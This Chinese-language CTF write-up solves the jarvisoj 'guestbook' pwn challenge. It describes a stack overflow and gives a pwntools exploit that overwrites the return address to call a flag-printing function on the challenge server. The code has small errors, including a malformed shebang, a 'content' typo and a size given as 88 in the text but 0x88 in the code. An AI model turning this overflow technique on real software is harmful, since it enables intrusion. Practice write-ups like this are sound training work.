先检查一下防护机制,发现至开启了NX,堆栈不可执行
简单执行一下,发现是让我们输入一串字符串,然后返回一句话
用 ida 反汇编一下 发现和栈溢出有关 有个read函数
查看里面的函数 ,可以看见 good game 函数里面的 flag.txt
goodgame函数是用来 将flag文本输出的
所以我们只要控制返回地址变为goodgame的地址就行了
栈空间的大小在主函数的汇编代码可以得到 为88
exp代码
#!usr\bin\env python
from pwn import *
debug = False
local = False
x86 = False
if debug:
content.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib32/libc.so.6')
else:
libc = ELF('/lib/x86_64-Linux-gnu/libc.so.6')
if local:
sh = process('./guestbook.d3d5869bd6fb04dd35b29c67426c0f05')
else:
sh = remote('pwn.jarvisoj.com',9876)
offset = 0x88
target = 0x00400620
payload = 'a'*offset +p64(target)
sh.recvuntil(":")
sh.sendline(payload)
sh.interactive()
网友评论